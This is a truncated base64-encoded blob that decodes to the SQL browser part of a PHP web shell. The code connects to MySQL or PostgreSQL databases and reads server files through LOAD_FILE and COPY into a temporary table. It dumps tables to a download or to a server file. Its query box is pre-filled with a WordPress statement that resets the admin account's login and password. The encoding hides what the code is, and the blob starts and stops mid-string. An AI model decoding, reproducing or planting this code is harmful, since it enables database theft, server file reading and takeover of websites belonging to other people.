QlyZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9xdWVyeSgkc3RyKTsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gZmV0Y2goKSB7DQoJCQkkcmVzID0gZnVuY19udW1fYXJncygpP2Z1bmNfZ2V0X2FyZygwKTokdGhpcy0+cmVzOw0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpOw0KCQkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7DQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGxpc3REYnMoKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnF1ZXJ5KCJTSE9XIGRhdGFiYXNlcyIpOw0KCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoIlNFTEVDVCBkYXRuYW1lIEZST00gcGdfZGF0YWJhc2UgV0hFUkUgZGF0aXN0ZW1wbGF0ZSE9J3QnIik7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgic2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJyIpOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGVycm9yKCkgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gQG15c3FsX2Vycm9yKCk7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gQHBnX2xhc3RfZXJyb3IoKTsNCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBzZXRDaGFyc2V0KCRzdHIpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKQ0KCQkJCQkJcmV0dXJuIEBteXNxbF9zZXRfY2hhcnNldCgkc3RyLCAkdGhpcy0+bGluayk7DQoJCQkJCWVsc2UNCgkJCQkJCSR0aGlzLT5xdWVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gQHBnX3NldF9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBsb2FkRmlsZSgkc3RyKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+ZmV0Y2goJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLmFkZHNsYXNoZXMoJHN0cikuIicpIGFzIGZpbGUiKSk7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQkkdGhpcy0+cXVlcnkoIkNSRUFURSBUQUJMRSBCT0ZGMihmaWxlIHRleHQpO0NPUFkgQk9GRjIgRlJPTSAnIi5hZGRzbGFzaGVzKCRzdHIpLiInO3NlbGVjdCBmaWxlIGZyb20gQk9GRjI7Iik7DQoJCQkJCSRyPWFycmF5KCk7DQoJCQkJCXdoaWxlKCRpPSR0aGlzLT5mZXRjaCgpKQ0KCQkJCQkJJHJbXSA9ICRpWydmaWxlJ107DQoJCQkJCSR0aGlzLT5xdWVyeSgnZHJvcCB0YWJsZSBCT0ZGMicpOw0KCQkJCQlyZXR1cm4gYXJyYXkoJ2ZpbGUnPT5pbXBsb2RlKCJcbiIsJHIpKTsNCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBkdW1wKCR0YWJsZSwgJGZwID0gZmFsc2UpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJJHJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJyk7DQoJCQkJCSRjcmVhdGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzKTsNCgkJCQkJJHNxbCA9ICRjcmVhdGVbMV0uIjtcbiI7DQogICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsNCgkJCQkJJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpOw0KICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IHRydWU7DQoJCQkJCXdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsNCgkJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsNCgkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHYgPT0gbnVsbCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIk5VTEwiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihpc19udW1lcmljKCR2KSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gJHY7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiJyIuQG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdikuIiciOw0KCQkJCQkJCSRjb2x1bW5zW10gPSAiYCIuJGsuImAiOw0KCQkJCQkJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGhlYWQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4iKSBWQUxVRVMgXG5cdCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICJcblx0LCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsNCgkJCQkJfQ0KICAgICAgICAgICAgICAgICAgICBpZighJGhlYWQpDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICI7XG5cbiIpOyBlbHNlIGVjaG8oIjtcblxuIik7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOw0KCQkJCQl3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7DQoJCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7DQoJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgew0KCQkJCQkJCSRpdGVtWyRrXSA9ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7DQoJCQkJCQkJJGNvbHVtbnNbXSA9ICRrOw0KCQkJCQkJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLicpIFZBTFVFUyAoJy5pbXBsb2RlKCIsICIsICRpdGVtKS4nKTsnLiJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7DQoJCQkJCX0NCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCX07DQoJJGRiID0gbmV3IERiQ2xhc3MoJF9QT1NUWyd0eXBlJ10pOw0KCWlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsNCgkJJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pOw0KCQkkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7DQogICAgICAgIHN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgew0KICAgICAgICAgICAgY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOw0KICAgICAgICB9DQogICAgICAgIGlmKGVtcHR5KCRfUE9TVFsnZmlsZSddKSkgew0KICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOw0KICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1kdW1wLnNxbCIpOw0KICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvcGxhaW4iKTsNCiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikNCgkJCQkkZGItPmR1bXAoJHYpOw0KICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgfSBlbHNlaWYoJGZwID0gQGZvcGVuKCRfUE9TVFsnZmlsZSddLCAndycpKSB7DQogICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsndGJsJ10gYXMgJHYpDQogICAgICAgICAgICAgICAgJGRiLT5kdW1wKCR2LCAkZnApOw0KICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICB1bnNldCgkX1BPU1RbJ3AyJ10pOw0KICAgICAgICB9IGVsc2UNCiAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5hbGVydCgiRXJyb3IhIENhblwndCBvcGVuIGZpbGUiKTt3aW5kb3cuaGlzdG9yeS5iYWNrKC0xKTwvc2NyaXB0PicpOw0KCX0NCglCT0ZGSGVhZGVyKCk7DQoJZWNobyAiDQo8aDE+U3FsIGJyb3dzZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4NCjxmb3JtIG5hbWU9J3NmJyBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PSdmcyh0aGlzKTsnPjx0YWJsZSBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj4NCjx0ZD5UeXBlPC90ZD48dGQ+SG9zdDwvdGQ+PHRkPkxvZ2luPC90ZD48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD5EYXRhYmFzZTwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPVNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ncXVlcnknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyIHZhbHVlPScnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiInPg0KPHRkPjxzZWxlY3QgbmFtZT0ndHlwZSc+PG9wdGlvbiB2YWx1ZT0nbXlzcWwnICI7DQogICAgaWYoQCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3Bnc3FsJyAiOw0KaWYoQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2hvc3QgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSkgLiInPjwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pPydyb290JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2xvZ2luJ10pKSAuIic+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX3Bhc3MgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzcyddKSkgLiInPjwvdGQ+PHRkPiI7DQoJJHRtcCA9ICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2Jhc2UgdmFsdWU9Jyc+IjsNCglpZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsNCgkJaWYoJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pKSB7DQoJCQlzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsNCgkJCQljYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsNCgkJCQljYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsNCgkJCQljYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOw0KCQkJCWNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7DQoJCQkJY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOw0KCQkJfQ0KCQkJJGRiLT5saXN0RGJzKCk7DQoJCQllY2hvICI8c2VsZWN0IG5hbWU9c3FsX2Jhc2U+PG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOw0KCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsNCgkJCQlsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsNCgkJCQllY2hvICc8b3B0aW9uIHZhbHVlPSInLiR2YWx1ZS4nIiAnLigkdmFsdWU9PSRfUE9TVFsnc3FsX2Jhc2UnXT8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbHVlLic8L29wdGlvbj4nOw0KCQkJfQ0KCQkJZWNobyAnPC9zZWxlY3Q+JzsNCgkJfQ0KCQllbHNlIGVjaG8gJHRtcDsNCgl9ZWxzZQ0KCQllY2hvICR0bXA7DQoJZWNobyAiPC90ZD4NCgkJCQk8dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Picgb25jbGljaz0nZnMoZC5zZik7Jz48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXNxbF9jb3VudCB2YWx1ZT0nb24nIiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJzonIGNoZWNrZWQnKSAuICI+IGNvdW50IHRoZSBudW1iZXIgb2Ygcm93czwvdGQ+DQoJCQk8L3RyPg0KCQk8L3RhYmxlPg0KCQk8c2NyaXB0Pg0KICAgICAgICAgICAgc19kYj0nIi5AYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9iYXNlJ10pLiInOw0KICAgICAgICAgICAgZnVuY3Rpb24gZnMoZikgew0KICAgICAgICAgICAgICAgIGlmKGYuc3FsX2Jhc2UudmFsdWUhPXNfZGIpIHsgZi5vbnN1Ym1pdCA9IGZ1bmN0aW9uKCkge307DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDEpIGYucDEudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDIpIGYucDIudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDMpIGYucDMudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KCQkJZnVuY3Rpb24gc3QodCxsKSB7DQoJCQkJZC5zZi5wMS52YWx1ZSA9ICdzZWxlY3QnOw0KCQkJCWQuc2YucDIudmFsdWUgPSB0Ow0KICAgICAgICAgICAgICAgIGlmKGwgJiYgZC5zZi5wMykgZC5zZi5wMy52YWx1ZSA9IGw7DQoJCQkJZC5zZi5zdWJtaXQoKTsNCgkJCX0NCgkJCWZ1bmN0aW9uIGlzKCkgew0KCQkJCWZvcihpPTA7aTxkLnNmLmVsZW1lbnRzWyd0YmxbXSddLmxlbmd0aDsrK2kpDQoJCQkJCWQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZCA9ICFkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQ7DQoJCQl9DQoJCTwvc2NyaXB0PiI7DQoJaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspew0KCQllY2hvICI8YnIvPjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTIgY2VsbHNwYWNpbmc9MD4iOw0KCQkJaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpew0KCQkJCSRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsNCgkJCQllY2hvICI8dHI+PHRkIHdpZHRoPTEgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz48c3Bhbj5UYWJsZXM6PC9zcGFuPjxicj48YnI+IjsNCgkJCQkkdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsNCgkJCQl3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goJHRibHNfcmVzKSkgew0KCQkJCQlsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsNCiAgICAgICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSAkZGItPmZldGNoKCRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJy4kdmFsdWUuJycpKTsNCgkJCQkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpOw0KCQkJCQllY2hvICI8bm9icj48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIi4kdmFsdWUuIic+Jm5ic3A7PGEgaHJlZj0jIG9uY2xpY2s9XCJzdCgnIi4kdmFsdWUuIicsMSlcIj4iLiR2YWx1ZS4iPC9hPiIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/JyZuYnNwOyc6IiA8c21hbGw+KHskblsnbiddfSk8L3NtYWxsPiIpIC4gIjwvbm9icj48YnI+IjsNCgkJCQl9DQoJCQkJZWNobyAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQuc2YucDIudmFsdWU9XCJkb3dubG9hZFwiO2RvY3VtZW50LnNmLnN1Ym1pdCgpOyc+PGJyPkZpbGUgcGF0aDo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZSB2YWx1ZT0nZHVtcC5zcWwnPjwvdGQ+PHRkIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+IjsNCgkJCQlpZihAJF9QT1NUWydwMSddID09ICdzZWxlY3QnKSB7DQoJCQkJCSRfUE9TVFsncDEnXSA9ICdxdWVyeSc7DQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9ICRfUE9TVFsncDMnXT8kX1BPU1RbJ3AzJ106MTsNCgkJCQkJJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnIC4gJF9QT1NUWydwMiddKTsNCgkJCQkJJG51bSA9ICRkYi0+ZmV0Y2goKTsNCgkJCQkJJHBhZ2VzID0gY2VpbCgkbnVtWyduJ10gLyAzMCk7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzY3JpcHQ+ZC5zZi5vbnN1Ym1pdD1mdW5jdGlvbigpe3N0KFwiIiAuICRfUE9TVFsncDInXSAuICJcIiwgZC5zZi5wMy52YWx1ZSl9PC9zY3JpcHQ+PHNwYW4+Ii4kX1BPU1RbJ3AyJ10uIjwvc3Bhbj4gKHskbnVtWyduJ119IHJlY29yZHMpIFBhZ2UgIyA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J3AzJyB2YWx1ZT0iIC4gKChpbnQpJF9QT1NUWydwMyddKSAuICI+IjsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiIG9mICRwYWdlcyI7DQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA+IDEpDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAuICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXS0xKSAuICIpJz4mbHQ7IFByZXY8L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWydwMyddIDwgJHBhZ2VzKQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10rMSkgLiAiKSc+TmV4dCAmZ3Q7PC9hPiI7DQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXS0tOw0KCQkJCQlpZigkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJykNCgkJCQkJCSRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwMiddLicgTElNSVQgMzAgT0ZGU0VUICcuKCRfUE9TVFsncDMnXSozMCk7DQoJCQkJCWVsc2UNCgkJCQkJCSRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDInXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3AzJ10qMzApLicsMzAnOw0KCQkJCQllY2hvICI8YnI+PGJyPiI7DQoJCQkJfQ0KCQkJCWlmKChAJF9QT1NUWydwMSddID09ICdxdWVyeScpICYmICFlbXB0eSgkX1BPU1RbJ3AyJ10pKSB7DQoJCQkJCSRkYi0+cXVlcnkoQCRfUE9TVFsncDInXSk7DQoJCQkJCWlmKCRkYi0+cmVzICE9PSBmYWxzZSkgew0KCQkJCQkJJHRpdGxlID0gZmFsc2U7DQoJCQkJCQllY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTIgY2xhc3M9bWFpbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMjkyOTI5Ij4nOw0KCQkJCQkJJGxpbmUgPSAxOw0KCQkJCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpCXsNCgkJCQkJCQlpZighJHRpdGxlKQl7DQoJCQkJCQkJCWVjaG8gJzx0cj4nOw0KCQkJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKQ0KCQkJCQkJCQkJZWNobyAnPHRoPicuJGtleS4nPC90aD4nOw0KCQkJCQkJCQlyZXNldCgkaXRlbSk7DQoJCQkJCQkJCSR0aXRsZT10cnVlOw0KCQkJCQkJCQllY2hvICc8L3RyPjx0cj4nOw0KCQkJCQkJCQkkbGluZSA9IDI7DQoJCQkJCQkJfQ0KCQkJCQkJCWVjaG8gJzx0ciBjbGFzcz0ibCcuJGxpbmUuJyI+JzsNCgkJCQkJCQkkbGluZSA9ICRsaW5lPT0xPzI6MTsNCgkJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKSB7DQoJCQkJCQkJCWlmKCR2YWx1ZSA9PSBudWxsKQ0KCQkJCQkJCQkJZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOw0KCQkJCQkJCQllbHNlDQoJCQkJCQkJCQllY2hvICc8dGQ+Jy5ubDJicihodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSkpLic8L3RkPic7DQoJCQkJCQkJfQ0KCQkJCQkJCWVjaG8gJzwvdHI+JzsNCgkJCQkJCX0NCgkJCQkJCWVjaG8gJzwvdGFibGU+JzsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCWVjaG8gJzxkaXY+PGI+RXJyb3I6PC9iPiAnLmh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKS4nPC9kaXY+JzsNCgkJCQkJfQ0KCQkJCX0NCgkJCQllY2hvICI8YnI+PC9mb3JtPjxmb3JtIG9uc3VibWl0PSdkLnNmLnAxLnZhbHVlPVwicXVlcnlcIjtkLnNmLnAyLnZhbHVlPXRoaXMucXVlcnkudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHRleHRhcmVhIG5hbWU9J3F1ZXJ5JyBzdHlsZT0nd2lkdGg6MTAwJTtoZWlnaHQ6MTAwcHgnPiI7DQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDEnXSAhPSAnbG9hZGZpbGUnKSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSk7DQogICAgICAgICAgICAgICAgZWNobyAiLS0gd3AgbmV3IHBhc3MgMTIzNDU2Nzg5DQogICAgICAgICAgICAgICAgIFVQREFURSBgd3BfdXNlcnNgIFNFVCBgdXNlcl9sb2dpbmAgPSAnYWRtaW4nLGB1c2VyX3Bhc3NgID0gJyQxJDQyUkVneFNSJC50TFY0UFNiUW1DS3Npc3lDU3locS4nIFdIRVJFIGB3cF91c2Vyc2AuYElEYCA9MSBMSU1JVCAxIDs8L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4iOw0